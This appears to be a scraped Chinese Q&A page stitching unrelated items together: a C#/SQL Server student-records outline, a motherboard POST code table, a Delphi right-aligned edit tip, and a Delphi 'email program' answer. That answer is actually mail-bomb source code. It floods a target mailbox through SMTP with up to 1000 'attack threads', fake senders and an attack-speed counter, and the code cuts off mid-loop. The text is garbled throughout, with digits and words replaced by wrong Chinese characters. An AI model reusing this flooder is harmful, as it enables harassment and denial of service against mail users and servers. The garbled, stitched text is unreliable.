我想用C#和sqlserver做一个多表的数据库程序,比如学生信息管理,...
拿学生信息管理举例:最简单的步骤1.创建数据库stu_db,新建表stuInfo(学生信息表),并建立相应的字段;2.写一个类clsDB,用于连接数据库;用SqlConnection对象;3.新建一个add.aspx页面,用来添加学生信息;4.新建一个show.aspx页面,用Repeater数据控件显示数据,此页面的主要功能有:(1)根据指定的学生编号删除学生信息、(2)链接到修改数据的页面,用问号传值将学生编号传到update.aspx页面;5.新建一个update.aspx页面,此页面用来修改学生信息,用Request对象接问号传值,根据接收的学生编号的值查询该编号所对应的学生信息,然后更新信息。
如何更改控件的Skin id
主板故障诊断卡代码查询手册 查表必读:(注意事项) 1、特殊代码“00”和“FF”及其它起始码有三种情况出现: ①已由一系列其它代码之后再出现:“00”或“FF”,则主板OK。
②如果将CMOS中设置无错误,则不严重的故障不会影响BIOS自检的继续,而最终出现“00”或“FF”。
③一开机就出现“00”或“FF”或其它起始代码并且不变化则为板没有运行起来。
2、本表是按代码值从小到大排序,卡中出码顺序不定。
3、未定义的代码表中未列出。
4、对于不同BIOS(常用的AMI、Award、Phoenix)用同一代码所代表的意义有所不同,因此应弄清您所检测的电脑是属于哪一种类型的BIOS,您可查问你的电脑使用手册,或从主板上的BIOS芯片上直接查看,也可以在启动屏幕时直接看到。
5、有少数主板的PCI槽只有前一部分代码出现,但ISA槽则有完整自检代码输出。
且目前已发现有极个别原装机主板的ISA槽无代码输出,而PCI槽则有完整代码输出,故建议您在查看代码不成功时,将本双槽卡换到另一种插槽试一下。
另外,同一块主板的不同PCI槽,有的槽有完整代码送出,如DELL810主板只有靠近CPU的一个PCI槽有完整的代码显示,一直变化到“00”或“FF”,而其它槽走到“38”则不继续变化。
6、复位信号所需时间ISA与PCI不一定同步,故有可能ISA开始出代码,但PCI的复位灯还不熄,故PCI代码停在起始码上。
代码 Award BIOS Ami BIOS Phoenix BIOS或Tandy 3000 BIOS 00 . 已显示系统的配置;即将控制INI19引导装入。
. 01 处理器测试1,处理器状态核实,如果测试失败,循环是无限的。
处理器寄存器的测试即将开始,不可屏蔽中断即将停用。
CPU寄存器测试正在进行或者失败。
02 确定诊断的类型(正常或者制造)。
如果键盘缓冲器含有数据就会失效。
停用不可屏蔽中断;通过延迟开始。
CMOS写入/读出正在进行或者失灵。
03 清除8042键盘控制器,发出TESTKBRD命令(AAH) 通电延迟已完成。
ROM BIOS检查部件正在进行或失灵。
04 使8042键盘控制器复位,核实TESTKBRD。
键盘控制器软复位/通电测试。
可编程间隔计时器的测试正在进行或失灵。
05 如果不断重复制造测试1至5,可获得8042控制状态。
已确定软复位/通电;即将启动ROM。
DMA初如准备正在进行或者失灵。
06 使电路片作初始准备,停用视频、奇偶性、DMA电路片,以及清除DMA电路片,所有页面寄存器和CMOS停机字节。
已启动ROM计算ROM BIOS检查总和,以及检查键盘缓冲器是否清除。
DMA初始页面寄存器读/写测试正在进行或失灵。
07 处理器测试2,核实CPU寄存器的工作。
ROM BIOS检查总和正常,键盘缓冲器已清除,向键盘发出BAT(基本保证测试)命令。
. 08 使CMOS计时器作初始准备,正常的更新计时器的循环。
已向键盘发出BAT命令,即将写入BAT命令。
RAM更新检验正在进行或失灵。
09 EPROM检查总和且必须等于零才通过。
核实键盘的基本保证测试,接着核实键盘命令字节。
第一个64K RAM测试正在进行。
0A 使视频接口作初始准备。
发出键盘命令字节代码,即将写入命令字节数据。
第一个64K RAM芯片或数据线失灵,移位。
0B 测试8254通道0。
写入键盘控制器命令字节,即将发出引脚23和24的封锁/解锁命令。
第一个64K RAM奇/偶逻辑失灵。
0C 测试8254通道1。
键盘控制器引脚23、24已封锁/解锁;已发出NOP命令。
第一个64K RAN的地址线故障。
0D 1、检查CPU速度是否与系统时钟相匹配。
2、检查控制芯片已编程值是否符合初设置。
3、视频通道测试,如果失败,则鸣喇叭。
已处理NOP命令;接着测试CMOS停开寄存器。
第一个64K RAM的奇偶性失灵 0E 测试CMOS停机字节。
CMOS停开寄存器读/写测试;将计算CMOS检查总和。
初始化输入/输出端口地址。
0F 测试扩展的CMOS。
已计算CMOS检查总和写入诊断字节;CMOS开始初始准备。
. 10 测试DMA通道0。
CMOS已作初始准备,CMOS状态寄存器即将为日期和时间作初始准备。
第一个64K RAM第0位故障。
11 测试DMA通道1。
CMOS状态寄存器已作初始准备,即将停用DMA和中断控制器。
第一个64DK RAM第1位故障。
12 测试DMA页面寄存器。
停用DMA控制器1以及中断控制器1和2;即将视频显示器并使端口B作初始准备。
第一个64DK RAM第2位故障。
13 测试8741键盘控制器接口。
视频显示器已停用,端口B已作初始准备;即将开始电路片初始化/存储器自动检测。
第一个64DK RAM第3位故障。
14 测试存储器更新触发电路。
电路片初始化/存储器处自动检测结束;8254计时器测试即将开始。
第一个64DK RAM第4位故障。
15 测试开头64K的系统存储器。
第2通道计时器测试了一半;8254第2通道计时器即将完成测试。
第一个64DK RAM第5位故障。
16 建立8259所用的中断矢量表。
第2通道计时器测试结束;8254第1通道计时器即将完成测试。
第一个64DK RAM第6位故障。
17 调准视频输入/输出工作,若装有视频BIOS则启用。
第1通道计时器测试结束;8254第0通道计时器即将完成测试。
第一个64DK RAM第7位故障。
18 测试视频存储...
有谁用delphi做过发送邮件的程序
问题点说用indy插件比较用 面用控件实现: uses windows,messages,winsock,sysutils; {$R *.RES} const CRLF=#一三#一0; exename:pchar='邮箱信使'; var thd:array[一..一000] of integer; tid:array[一..一000] of dword; faint,hMutex,mcount,speed,newtime,oldtime,num,count,err:integer; s一:string; sbuf:array[0..一0二四] of char; dest:string; attstart:boolean; //---------------------- wClass: TWndClass; //窗口类变量 Msg: TMSG; //消息变量 hInst, //程序实例 Handle, //主窗口句柄 hFont, //字体句柄 //---------------- hButtonStart, //始按钮 hButtonStop, //停止按钮 hButtonHelp, //帮助按钮 hButtonExit, //退按钮 hEditEmail, //e-mail编辑 hEditCount, //数编辑 hEditThread, //线程数编辑 hLabelEmail, //e-mail提示 hLabelCount, //数提示 hLabelThread, //线程数提示 hLabelInfo //领息提示 :integer; //句柄类型 //-------------------- //往窗口写标题 procedure WriteCaption(hwnd:hwnd;text:pchar);begin sendmessage(hwnd,WM_SETTEXT,0,integer(text));end; //窗口读标题 procedure ReadCaption(hwnd:hwnd;text:pchar);begin sendmessage(hwnd,WM_GETTEXT,四00,integer(text));end; //中国络连接程 function StartNet(host:string;port:integer):integer; var wsadata:twsadata; fsocket:integer; SockAddrIn:TSockAddrIn; err:integer; begin //中国络连接作准备(用winsock一.一版本) err:=WSAStartup($0一0一,WSAData); //创建客户端套接字(Client Socket,用SOCK_STREAM即TCP协义) FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP); //初始化中国络数据 SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(host)); SockAddrIn.sin_family := PF_INET; SockAddrIn.sin_port :=htons(port); //客户端向smtp进行连接 repeat err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn)); until err=0; // Result:=FSocket; end; //中国络关闭程 procedure StopNet(Fsocket:integer); var err:integer; begin //发信结束关闭客户端套接字(Close Client Socket) err:=closesocket(FSocket); //清除中国络参数 err:=WSACleanup; end; //面发送数据包程 function SendData(FSocket:integer;SendStr:string):integer; const MaxSize=一0二四; var DataBuf:array[0..MaxSize] of char; err:integer; begin //读取中国络数据 err:=recv(FSocket,DataBuf,MaxSize,0); //中国络数据写入主窗口标题提示用户发信程 //WriteCaption(handle,DataBuf); //向中国络发送数据 strcopy(DataBuf,pchar(SendStr)); err:=send(FSocket,DataBuf,strlen(DataBuf),MSG_DONTROUTE); Result:=0; end; //面发信程 procedure SendMail; var SendBody:string; FSocket:integer; begin repeat //指定smtp主机址,用smtp.二一cn中国,ip(二0二.一0四.三二.二三0) //指定smtp主机发信端口默认二5 FSocket:=StartNet('二0二.一0四.三二.二三0',二5); //-------面发信程各步处理------- //--------------------------------------- //第步:发HELO指令表示我要始发信 SendData(FSocket,'HELO'+CRLF); //第二步:发MAIL FROM指令表示发信信箱 // 注意现SMTP主机能允许本合用户发信 // 所发信者信箱发信主机应合用户 // 否则发信,比hack00一便smtp.二一cn中国合用户 SendData(FSocket,'MAIL FROM: hack00一@二一cn中国>'+CRLF); //第三步:发RCPT TO指令表示目标用户邮箱要攻击者邮箱 // 步用RCPT TO命令指向同目标,极加快攻击速度 // 一陆三.net象行加滤机制 SendData(FSocket,'RCPT TO: '+CRLF); //第四步:发DATA指令表示要向SMTP主机发数据 SendData(FSocket,'DATA'+CRLF); //第五步:发具体数据,包括内容(信封信体): // From:表示发信者址,假用户(随机产),面CRLF(即车换行符)结束 // TO:表示收信者址,假用户(随机产),面CRLF结束 // Subject:表示邮件主题,面CRLF结束 // 面定要再加CRLF表示信封部结束 // 接信主体内容任何内容,面CRLF结束 // 定要再加.符号表示信体结束,面CRLF结束 SendBody:='From:"bome 二00一"bome@hacker中国>'+CRLF +'To:"bome 二00一"bome@hacker中国>'+CRLF +'Subject:New Bome 二00一.'+CRLF +CRLF +'Hello World.'+CRLF +'.'+CRLF; SendData(FSocket,SendBody); //第六步:发结QUIT指令表示发信程结束 SendData(FSocket,'QUIT'+CRLF); // waitforsingleobject(hMutex,INFINITE); //显示发信程剩余邮件数目 WriteCaption(hLabelInfo,pchar('送 '+inttostr(mcount)+' 封邮件 / '+' '+inttostr(count)+' 封邮件 '+CRLF+ '使用: '+inttostr(num)+' 攻击线程'+CRLF+ '经间: '+inttostr(newtime div 一000)+' 秒')); //总数减 Dec(count); //调用发信程进行发信 newtime:=integer(gettickcount())-oldtime; speed:=mcount*一000*陆0 div newtime; WriteCaption(handle,pchar('攻击速度: '+inttostr(speed)+' 封/钟')); inc(mcount); //sleep(三00); if count一000 then Num:=一000; for ...
delphi里的edit框中如何让数字从右往左输入啊
EDIT本身没有这个功能,可以变通一点,设置edit右对齐,然后每次输入后把光标移动到最左则,然后通过KeyPress控制只允许输出数字,代码如下:procedure TForm1.FormCreate(Sender: TObject);varchargerstyle:integer;beginchargerstyle:=GetWindowLong(remark.Handle,GWL_STYLE);chargerstyle:=chargerstyle and(not ES_LEFT)and(not ES_CENTER)or ES_RIGHT;SetWindowLong(remark.Handle,GWL_STYLE,chargerstyle);end;procedure TForm1.remarkKeyPress(Sender: TObject; var Key: Char);beginif not(key in['0'..'9',#8]) then beginkey:=#0;end;end;procedure TForm1.remarkChange(Sender: TObject);beginremark.SelStart:=0;end;效果如下:
转载请注明出处51数据库 » es sender软件
人生就像蒲公英看似自由却身不由己